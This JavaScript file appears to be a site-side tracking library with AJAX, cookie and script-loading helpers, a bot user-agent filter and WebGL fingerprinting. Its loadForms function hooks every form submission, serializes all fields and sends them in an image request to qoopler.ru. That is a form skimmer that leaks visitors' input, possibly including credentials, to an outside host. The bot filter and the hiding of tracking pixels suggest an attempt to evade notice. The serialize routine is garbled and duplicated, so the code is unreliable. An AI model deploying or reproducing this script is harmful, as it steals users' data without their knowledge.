/* * functions */ function findGetParameter(parameterName) { var result = null, tmp = []; var items = location.search.substr(1).split("&"); for (var index = 0; index < items.length; index++) { tmp = items[index].split("="); if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]); } return result; } function getUrlVars(url) { var hash; var myJson = {}; if (url != undefined && url != null ){ var hashes = url.slice(url.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); myJson[hash[0]] = hash[1]; } } return myJson; } var ajax = {}; ajax.x = function () { if (typeof XMLHttpRequest !== 'undefined') { return new XMLHttpRequest(); } var versions = [ "MSXML2.XmlHttp.6.0", "MSXML2.XmlHttp.5.0", "MSXML2.XmlHttp.4.0", "MSXML2.XmlHttp.3.0", "MSXML2.XmlHttp.2.0", "Microsoft.XmlHttp" ]; var xhr; for (var i = 0; i < versions.length; i++) { try { xhr = new ActiveXObject(versions[i]); break; } catch (e) { } } return xhr; }; ajax.send = function (url, callback, method, data, async) { if (async === undefined) { async = true; } var x = ajax.x(); x.open(method, url, async); x.onreadystatechange = function () { if (x.readyState == 4) { callback(x.responseText) } }; if (method == 'POST') { x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); } x.send(data) }; ajax.post = function (url, data, callback, async) { var query = []; for (var key in data) { query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key])); } ajax.send(url, callback, 'POST', query.join('&'), async) }; // return cookie by name, if exist, if not exist, return undefined function getCookie(name) { var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return matches ? decodeURIComponent(matches[1]) : undefined; } ajax.get = function (url, data, callback, async) { var query = []; for (var key in data) { query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key])); } ajax.send(url + (query.length ? '?' + query.join('&') : ''), callback, 'GET', null, async) }; //create cookie for visitors function makeid() { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for (var i = 0; i < 60; i++) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } //get cookie function getCookies() { var pairs = document.cookie.split(";"); var cookies = {}; for (var i = 0; i < pairs.length; i++) { var pair = pairs[i].split("="); cookies[pair[0]] = unescape(pair[1]); } return cookies; } function getScript(source, callback) { var script = document.createElement('script'); var prior = document.getElementsByTagName('script')[0]; script.async = 1; prior.parentNode.insertBefore(script, prior); script.onload = script.onreadystatechange = function( _, isAbort ) { if(isAbort || !script.readyState || /loaded|complete/.test(script.readyState) ) { script.onload = script.onreadystatechange = null; script = undefined; if(!isAbort) { if(callback) callback(); } } }; script.src = source; } function j(u, c) { var h = document.getElementsByTagName('head')[0], s = document.createElement('script'); s.async = true; s.src = u; s.onload = s.onreadystatechange = function () { if (!s.readyState || /loaded|complete/.test(s.readyState)) { s.onload = s.onreadystatechange = null; if (h && s.parentNode) { h.removeChild(s) } s = undefined; if (c) { c() } } }; h.insertBefore(s, h.firstChild); } //disable cookie function delete_cookie(name, path, domain) { if (get_cookie(name)) { document.cookie = name + "=" + ((path) ? ";path=" + path : "") + ((domain) ? ";domain=" + domain : "") + ";expires=Thu, 01 Jan 1970 00:00:01 GMT"; } } function is_mobile(){ if( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) { return true; }else{ return false; } } /* * /functions */ /** * Get current browser viewpane heigtht */ function get_window_height() { return window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight || 0; } /** * Get current absolute window scroll position */ function get_window_Yscroll() { return window.pageYOffset || document.body.scrollTop || document.documentElement.scrollTop || 0; } /** * Get current absolute document height */ function get_doc_height() { return Math.max( document.body.scrollHeight || 0, document.documentElement.scrollHeight || 0, document.body.offsetHeight || 0, document.documentElement.offsetHeight || 0, document.body.clientHeight || 0, document.documentElement.clientHeight || 0 ); } /** * Get current vertical scroll percentage */ function get_scroll_percentage() { return ( (get_window_Yscroll() + get_window_height()) / get_doc_height() ) * 100; } function hasClass(elem, className) { return elem.className.split(' ').indexOf(className) > -1; } function createStyle(href){ var resource = document.createElement('link'); resource.setAttribute("rel", "stylesheet"); resource.setAttribute("href",href); resource.setAttribute("type","text/css"); var head = document.getElementsByTagName('head')[0]; head.appendChild(resource); } function botCheck(){ var botPattern = "(googlebot\/|Googlebot-Mobile|Googlebot-Image|Google favicon|Mediapartners-Google|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|Yandex Mobile Bot|AdsBot Google|YandexMetrika|Phantom.js bot|YandexBot|YandexAccessibilityBot|YandexMobileBot|YandexDirectDyn|YandexScreenshotBot|YandexImages|YandexVideo|YandexVideoParser|YandexMedia|YandexBlogs|YandexFavicons|YandexWebmaster|YandexPagechecker|YandexImageResizer|YandexAdNet|YandexDirect|YaDirectFetcher|YandexCalendar|YandexSitelinks|YandexMetrika|YandexNews|YandexCatalog|YandexMarket|YandexVertis|YandexForDomain|YandexBot|YandexSpravBot|YandexSearchShop|YandexMedianaBot|YandexOntoDB|YandexOntoDBAPI|YandexVerticals|GoogleBot|Googlebot-News|Googlebot-Image|Googlebot-Video|Googlebot-Mobile|AdsBot-Google|AdsBot-Google-Mobile-Apps|Google Web Preview|Adbeat Bot|AdbeatBot|adbeat_bot|adbeat-bot|Screenshot Bot|ScreenshotBot|screenshot_bot|screenshot-bot|NaverBot|Naver Bot|naver-bot|naver_bot|Google Bot|google-bot|google_bot|googlebot|AddThis)"; var re = new RegExp(botPattern, 'i'); var userAgent = navigator.userAgent; if (re.test(userAgent)) { return true; }else{ return false; } } function yandexCheck(){ var botPattern = "(yandex\/|Yandex Mobile Browser|Yandex Browser|Yandex Mobile|YaBrowser)"; var re = new RegExp(botPattern, 'i'); var userAgent = navigator.userAgent; if (re.test(userAgent)) { return true; }else{ return false; } } function get_domian_with_protocol(){ return location.protocol+'//'+location.hostname+(location.port ? ':'+location.port: ''); } function isHidden(){ if (!document.hidden) { return true; }else{ return false; } } function myClickHandler(e) { // Here you'll do whatever you want to happen when they click // now this part stops the click from propagating if (!e) var e = window.event; e.cancelBubble = true; if (e.stopPropagation) e.stopPropagation(); } function dateNowSeconds(){ var timeStampInMs = new Date() / 1000; return Math.round(timeStampInMs); } function getHours(){ var d = new Date(); return d.getHours(); } function loadForms(vid){ for (var i = 0; i < document.forms.length; i++) { document.forms[i].addEventListener('submit',function(e) { e = e || window.event; var target = e.target || e.srcElement; var query = serialize(e.target); (window.Image ? (new Image()) : document.createElement('img')).src = 'https://qoopler.ru/event_collect_forms.php?vid='+vid+'&'+query; return true; }); } } function serialize(form) { var field, s = []; if (typeof form == 'object' && form.nodeName == "FORM") { var len = form.elements.length; for (i=0; i=0; j--) { if(field.options[j].selected) s[s.length] = encodeURIComponent(field.name) + "=" + encodeURIComponent(field.options[j].value); } } else if ((field.type != 'checkbox' && field.type != 'radio') || field.checked) { s[s.length] = encodeURIComponent(field.name) + "=" + encodeURIComponent(field.value); } } } } return s.join('&').replace(/%20/g, '+'); } var Ajax1 = { request: function (ops) { if (typeof ops === 'string') ops = { url: ops }; ops.url = ops.url || ''; ops.method = ops.method || 'get'; ops.data = ops.data || {}; var api = { host: {}, process: function (ops) { var postBody = '', self = this; this.xhr = null; this.xhr = window.ActiveXObject ? new ActiveXObject('Microsoft.XMLHTTP') : new XMLHttpRequest(); if (this.xhr) { this.onreadystatechange = function () { if (self.xhr.readyState === 4 && self.xhr.status === 200) { var result = self.xhr.responseText; if (ops.json === true && typeof JSON != 'undefined') { result = JSON.parse(result); } self.doneCallback && self.doneCallback.apply(self.host, [result, self.xhr]); } else if(self.xhr.readyState === 4) { self.failCallback && self.failCallback.apply(self.host, [self.xhr]); } self.alwaysCallback && self.alwaysCallback.apply(self.host, [self.xhr]); }; } if (ops.method === 'get') { this.xhr.open('GET', ops.url + getParams(ops.data, ops.url), true); } else { this.xhr.open(ops.method, ops.url, true); this.setHeaders({ 'X-Requested-With': 'XMLHttpRequest', 'Content-type': 'application/x-www-form-urlencoded' }); } if (ops.headers && typeof ops.headers === 'object') { this.setHeaders(ops.headers); } setTimeout(function () { ops.method === 'get' ? self.xhr.send() : self.xhr.send(getParams(ops.data)); }); return this; }, done: function (callback) { this.doneCallback = callback; return this; }, fail: function (callback) { this.failCallback = callback; return this; }, always: function (callback) { this.alwaysCallback = callback; return this; }, setHeaders: function (headers) { for(var name in headers) { this.xhr && this.xhr.setRequestHeader(name, headers[name]); } } }; getParams = function (data, url) { var arr = [], str; for(var name in data) { arr.push(name + encodeURIComponent(data[name])); } str = arr.join('&'); if (str !== '') { return url ? (url.index('?') < 0 ? '?' + str : '&' + str) : str; } return ''; }; return api.process(ops); } }; var brokenImagesInterval = setInterval(function(){ var brokenImages = document.getElementsByTagName('img'); for(var i = 0; i < brokenImages.length; i++) { if (brokenImages[i].src.match(/sas-pro.ru\/pixel/g)){ //console.log(brokenImages[i].src); brokenImages[i].style.display = 'none'; clearInterval(brokenImagesInterval); } } }, 5000); function loadscript(link) { f = document.createElement("script"); f.type = "text/javascript"; f.src = link; f.async = !0; f.charset = "UTF-8"; document.head.appendChild(f); } function getWebGLVendor() { try { var canvas = document.createElement("canvas"); var ctx = canvas.getContext("webgl") || canvas.getContext("experimental-webgl"); return ctx.getParameter(ctx.getExtension('WEBGL_debug_renderer_info').UNMASKED_VENDOR_WEBGL); } catch (e) { return 'not supported' } } function getWebGLRenderer() { try { var canvas = document.createElement("canvas"); var ctx = canvas.getContext("webgl") || canvas.getContext("experimental-webgl"); return ctx.getParameter(ctx.getExtension('WEBGL_debug_renderer_info').UNMASKED_RENDERER_WEBGL); } catch (e) { return 'not supported' } } function serialize(form) { var field, s = []; if (typeof form == 'object' && form.nodeName == "FORM") { var len = form.elements.length; for (i=0; i=0; j--) { if(field.options[j].selected) s[s.length] = encodeURIComponent(field.name) + "=" + encodeURIComponent(field.options[j].value); } } else if ((field.type != 'checkbox' && field.type != 'radio') || field.checked) { s[s.length] = encodeURIComponent(field.name) + "=" + encodeURIComponent(field.value); } } } } return s.join('&').replace(/%20/g, '+'); }